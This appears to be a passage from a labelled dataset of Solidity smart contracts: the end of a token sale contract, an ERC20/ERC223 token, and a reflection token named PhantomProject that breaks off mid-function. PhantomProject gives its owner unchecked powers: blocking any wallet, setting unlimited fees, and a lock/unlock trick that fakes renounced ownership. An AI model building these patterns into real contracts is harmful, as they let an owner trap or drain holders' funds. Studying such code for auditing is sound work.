function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FlyCareTokenSale is RefundableCrowdsale, WhitelistedCrowdsale, TokenCappedCrowdsale, MintedCrowdsale, Pausable {
using SafeMath for uint256;
uint256 constant public RESERVE_AMOUNT = 70000000 * 10**18;
uint256 constant public MIN_INVESTMENT = 0.1 * 10**18;
uint64[5] private salePeriods;
address public whitelister;
event AddToWhitelist(address _beneficiary);
function FlyCareTokenSale (
address _whitelister,
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _goal,
uint256 _presaleCap,
uint256 _totalTokenSaleCap,
address _wallet,
uint64[5] _salePeriods
) public
Crowdsale(_rate, _wallet, new FlyCareToken())
TokenCappedCrowdsale(_presaleCap, _totalTokenSaleCap, _salePeriods[2])
TimedCrowdsale(_startTime, _endTime)
RefundableCrowdsale(_goal)
{
require(_goal.mul(_rate) <= _totalTokenSaleCap);
require(_whitelister != address(0));
for (uint8 i = 0; i < _salePeriods.length; i++) {
require(_salePeriods[i] > 0);
}
salePeriods = _salePeriods;
whitelister = _whitelister;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(!paused);
require(_weiAmount >= MIN_INVESTMENT);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function getCurrentRate() public view returns (uint256) {
uint256 time = now;
if (time <= salePeriods[0]) {
return 4031;
}
if (time <= salePeriods[1]) {
return 3794;
}
if (time <= salePeriods[2]) {
return 3583;
}
if (time <= salePeriods[3]) {
return 3395;
}
if (time <= salePeriods[4]) {
return 3225;
}
return rate;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
function hasClosed() public view returns (bool) {
return tokenCapReached() || super.hasClosed();
}
function setWhitelisterAddress(address _whitelister) external onlyOwner {
require(_whitelister != address(0));
whitelister = _whitelister;
}
modifier onlyWhitelister(){
require(msg.sender == whitelister);
_;
}
function addToWhitelist(address _beneficiary) external onlyWhitelister {
whitelist[_beneficiary] = true;
AddToWhitelist(_beneficiary);
}
function addManyToWhitelist(address[] _beneficiaries) external onlyWhitelister {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
AddToWhitelist(_beneficiaries[i]);
}
}
function removeFromWhitelist(address _beneficiary) external onlyWhitelister {
whitelist[_beneficiary] = false;
}
function finalization() internal {
if (goalReached()) {
if (!tokenCapReached()) {
uint256 tokenUnsold = totalTokenSaleCap.sub(tokenSold);
_deliverTokens(this, tokenUnsold);
FlyCareToken(token).burn(tokenUnsold);
}
_deliverTokens(wallet, RESERVE_AMOUNT);
require(FlyCareToken(token).finishMinting());
FlyCareToken(token).unpause();
}
super.finalization();
}
} | 1 | 5,217 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "EURUSDCOIN";
string constant TOKEN_SYMBOL = "EUUS";
bool constant PAUSED = false;
address constant TARGET_USER = 0x5544A710df19D35267844dB9c8923f903A7D7467;
uint constant START_TIME = 1527804000;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,605 |
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountsOut(uint amountIn, address[] memory path) external returns (uint[] memory amounts);
}
contract PhantomProject is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isBlocked;
mapping (address => uint256) private _lastTX;
address[] private _excluded;
address payable public dev;
address payable public marketing;
address public _burnPool = 0x000000000000000000000000000000000000dEaD;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100 * 10**9 * 10**9;
uint256 private _totalSupply = 100 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Phantom Project";
string private _symbol = "PHAN";
uint8 private _decimals = 9;
uint256 public _taxFeeBuy = 100;
uint256 public _taxFeeSell = 100;
uint256 public _marketingFeeBuy = 300;
uint256 public _marketingFeeSell = 300;
uint256 public _burnFeeBuy = 100;
uint256 public _burnFeeSell = 100;
uint256 public _liquidityFeeBuy = 400;
uint256 public _liquidityFeeSell = 400;
uint256 public _devFeeBuy = 100;
uint256 public _devFeeSell = 100;
uint256 public _cooldownPeriod = 120;
bool public transfersEnabled;
bool public transfersTaxed;
uint256 public _pendingDevelopmentFees;
uint256 public _pendingLiquidityFees;
bool public _initialBurnCompleted;
address[] public pairs;
IUniswapV2Router02 uniswapV2Router;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private numTokensSellToAddToLiquidity = 10 * 10**6 * 10**9;
uint256[] public _antiWhaleSellThresholds;
uint256[] public _antiWhaleSellMultiplicators;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable _devWallet, address payable _marketingWallet, uint256[] memory _thresholds, uint256[] memory _multiplicators) public {
dev = _devWallet;
marketing = _marketingWallet;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
pairs.push(uniswapV2Pair);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWallet] = true;
_isExcludedFromFee[_devWallet] = true;
_isExcluded[_burnPool] = true;
_excluded.push(_burnPool);
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
_isExcluded[address(this)] = true;
_excluded.push(address(this));
_antiWhaleSellThresholds = _thresholds;
_antiWhaleSellMultiplicators = _multiplicators;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
else return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address payable [] memory holders, uint256 [] memory balances) public onlyOwner() {
require(holders.length == balances.length, "Incorrect input");
uint256 deployer_balance = _rOwned[_msgSender()];
uint256 currentRate = _getRate();
for (uint8 i = 0; i < holders.length; i++) {
uint256 balance = balances[i] * 10 ** 9;
uint256 new_r_owned = currentRate.mul(balance);
_rOwned[holders[i]] = _rOwned[holders[i]] + new_r_owned;
emit Transfer(_msgSender(), holders[i], balance);
deployer_balance = deployer_balance.sub(new_r_owned);
}
_rOwned[_msgSender()] = deployer_balance;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function manualSwapAndLiquify() public onlyOwner() {
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
function initialBurn(uint256 _burn) public onlyOwner() {
require(!_initialBurnCompleted, "Initial burn completed");
_initialBurnCompleted = true;
uint256 currentRate = _getRate();
uint256 _rBurn = _burn.mul(currentRate);
_totalSupply = _totalSupply.sub(_burn);
_rOwned[_burnPool] = _rOwned[_burnPool].add(_rBurn);
_tOwned[_burnPool] = _tOwned[_burnPool].add(_burn);
_rOwned[_msgSender()] = _rOwned[_msgSender()].sub(_rBurn);
emit Transfer(_msgSender(), _burnPool, _burn);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function setBlockedWallet(address _account, bool _blocked ) public onlyOwner() {
_isBlocked[_account] = _blocked;
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxes(uint256[] memory _taxTypes, uint256[] memory _taxSizes) external onlyOwner() {
require(_taxTypes.length == _taxSizes.length, "Incorrect input");
for (uint i = 0; i < _taxTypes.length; i++) {
uint256 _taxType = _taxTypes[i];
uint256 _taxSize = _taxSizes[i];
if (_taxType == 1) {
_taxFeeSell = _taxSize;
}
else if (_taxType == 2) {
_taxFeeBuy = _taxSize;
}
else if (_taxType == 3) {
_marketingFeeBuy = _taxSize;
}
else if (_taxType == 4) {
_marketingFeeSell = _taxSize;
}
else if (_taxType == 5) {
_burnFeeBuy = _taxSize;
}
else if (_taxType == 6) {
_burnFeeSell = _taxSize;
}
else if (_taxType == 7) {
_liquidityFeeBuy = _taxSize;
}
else if (_taxType == 8) {
_liquidityFeeSell = _taxSize;
}
else if (_taxType == 9) {
transfersTaxed = _taxSize == 1;
}
else if (_taxType == 10) {
_cooldownPeriod = _taxSize;
}
}
}
function setAntiWhaleTaxes(uint256[] memory _thresholds, uint256[] memory _multiplicators) public onlyOwner() {
require(_thresholds.length == _multiplicators.length, "Incorrect input");
_antiWhaleSellThresholds = _thresholds;
_antiWhaleSellMultiplicators = _multiplicators;
}
function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
numTokensSellToAddToLiquidity = _numTokensMin;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function enableTransfers() public onlyOwner() {
transfersEnabled = true;
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeOperations(uint256 tAmount, uint256 feeType, uint256 feeMultiplicator) private returns (uint256) {
uint256 currentRate = _getRate();
uint256 tTransferAmount = tAmount;
uint256 tFee = calculateFee(tAmount, feeType == 1 ? _taxFeeBuy : _taxFeeSell, feeMultiplicator);
uint256 tMarketing = calculateFee(tAmount, feeType == 1 ? _marketingFeeBuy : _marketingFeeSell, feeMultiplicator);
uint256 tBurn = calculateFee(tAmount, feeType == 1 ? _burnFeeBuy : _burnFeeSell, feeMultiplicator);
uint256 tDevelopment = calculateFee(tAmount, feeType == 1 ? _devFeeBuy : _devFeeSell, feeMultiplicator);
uint256 tLiquidity = calculateFee(tAmount, feeType == 1 ? _liquidityFeeBuy : _liquidityFeeSell, feeMultiplicator);
_pendingDevelopmentFees = _pendingDevelopmentFees.add(tDevelopment);
_pendingLiquidityFees = _pendingLiquidityFees.add(tLiquidity);
tTransferAmount = tAmount - tFee - tMarketing - tDevelopment - tBurn - tLiquidity;
uint256 tTaxes = tMarketing.add(tDevelopment).add(tLiquidity);
_reflectFee(tFee.mul(currentRate), tFee);
_rOwned[address(this)] = _rOwned[address(this)].add(tTaxes.mul(currentRate));
_tOwned[address(this)] = _tOwned[address(this)].add(tTaxes);
currentRate = _getRate();
_rOwned[_burnPool] = _rOwned[_burnPool].add(tBurn.mul(currentRate));
_tOwned[_burnPool] = _tOwned[_burnPool].add(tBurn);
if (tBurn > 0) emit Transfer(address(this), _burnPool, tBurn);
return tTransferAmount;
}
function calculateFee(uint256 _amount, uint256 _taxRate, uint256 _feeMultiplicator) private pure returns (uint256) {
return _amount.mul(_taxRate).div(10**4).mul(_feeMultiplicator).div(10);
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer( address from, address to, uint256 amount ) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
!isDEXPair(from) &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
uint256 feeType = 1;
uint256 feeMultiplicator = 10;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
feeType = 0;
}
else {
require(transfersEnabled, "Transfers are not enabled now");
require(!_isBlocked[to] && !_isBlocked[from], "Transfer involves blocked wallet");
if (!isDEXPair(to) && !isDEXPair(from)) {
require((_lastTX[from] + _cooldownPeriod) <= block.timestamp, "Cooldown");
if (!transfersTaxed) {
feeType = 0;
}
}
else if (isDEXPair(to)) {
require((_lastTX[from] + _cooldownPeriod) <= block.timestamp, "Cooldown");
_lastTX[from] = block.timestamp;
feeType = 2;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint[] memory sale_output_estimate = uniswapV2Router.getAmountsOut(amount, path);
feeMultiplicator = whaleSellMultiplicator(sale_output_estimate[1]);
}
else {
require((_lastTX[to] + _cooldownPeriod) <= block.timestamp, "Cooldown");
_lastTX[to] = block.timestamp;
}
}
_tokenTransfer(from, to, amount, feeType, feeMultiplicator);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 liquidityPart = 0;
if (_pendingLiquidityFees < contractTokenBalance) liquidityPart = _pendingLiquidityFees;
uint256 distributionPart = contractTokenBalance.sub(liquidityPart);
uint256 liquidityHalfPart = liquidityPart.div(2);
uint256 liquidityHalfTokenPart = liquidityPart.sub(liquidityHalfPart);
uint256 totalETHSwap = liquidityHalfPart.add(distributionPart);
swapTokensForEth(totalETHSwap);
uint256 newBalance = address(this).balance;
uint256 devBalance = _pendingDevelopmentFees.mul(newBalance).div(totalETHSwap);
uint256 liquidityBalance = liquidityHalfPart.mul(newBalance).div(totalETHSwap);
if (liquidityHalfTokenPart > 0 && liquidityBalance > 0) addLiquidity(liquidityHalfTokenPart, liquidityBalance);
if (devBalance > 0 && devBalance < address(this).balance) dev.call{ value: devBalance }("");
if (address(this).balance > 0) marketing.call{ value: address(this).balance }("");
_pendingDevelopmentFees = 0;
_pendingLiquidityFees = 0;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
marketing,
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, uint256 feeType, uint256 feeMultiplicator) private {
uint256 currentRate = _getRate();
uint256 tTransferAmount = amount;
if (feeType != 0) {
tTransferAmount = _takeOperations(amount, feeType, feeMultiplicator);
}
uint256 rTransferAmount = tTransferAmount.mul(currentRate);
uint256 rAmount = amount.mul(currentRate);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
}
